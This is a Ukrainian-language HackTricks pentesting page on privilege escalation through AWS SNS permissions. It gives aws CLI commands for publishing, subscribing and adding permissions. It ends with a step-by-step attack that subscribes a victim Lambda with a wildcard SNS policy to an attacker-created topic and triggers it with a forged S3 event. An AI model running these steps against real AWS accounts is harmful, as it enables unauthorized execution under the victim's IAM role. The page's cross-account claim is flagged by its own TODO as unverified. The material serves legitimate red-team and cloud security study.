AWS - SNS Privesc

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

SNS

Для отримання додаткової інформації див.:

AWS - SNS Enum

sns:Publish

Зловмисник може надсилати шкідливі або небажані повідомлення в тему SNS, що потенційно може призвести до пошкодження даних, ініціювання небажаних дій або виснаження ресурсів.

bash
aws sns publish --topic-arn <value> --message <value>

Потенційний вплив: Використання вразливості, пошкодження даних, небажані дії або вичерпання ресурсів.

sns:Subscribe

Зловмисник може підписатися на тему SNS, потенційно отримавши несанкціонований доступ до повідомлень або порушивши нормальне функціонування додатків, що використовують цю тему.

bash
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>

Потенційний вплив: Несанкціонований доступ до повідомлень (чутлива інформація), порушення роботи застосунків, які залежать від ураженого topic.

sns:AddPermission

Зловмисник може надати неавторизованим користувачам або сервісам доступ до SNS topic, що потенційно дозволяє отримати додаткові права.

bash
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>

Можливий вплив: несанкціонований доступ до topic, розкриття повідомлень або маніпуляція topic з боку неавторизованих користувачів чи сервісів, порушення нормальної роботи додатків, що залежать від topic.

Виклик Lambda шляхом зловживання wildcard SNS permission (no SourceArn)

Якщо resource-based policy функції Lambda дозволяє sns.amazonaws.com викликати її без обмеження джерела topic (SourceArn), будь-який SNS topic (навіть в іншому account) може підписатися та тригернути функцію. Зловмисник із базовими SNS permissions може змусити Lambda виконатися під її IAM role з input, контрольованим зловмисником.

tip

TODO: Чи справді це можна зробити між акаунтами?

Передумови

  • Політика жертви Lambda містить statement як нижче, без умови SourceArn:
json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}

Кроки зловживання (в тому ж акаунті або між акаунтами)

bash
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)

# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>

# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'

Можливий вплив: Цільова Lambda виконується з її IAM role, обробляючи attacker-controlled input. Це може бути використано, щоб змусити функцію виконувати чутливі дії (наприклад, запис у S3, доступ до secrets, змінення ресурсів) залежно від її дозволів.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks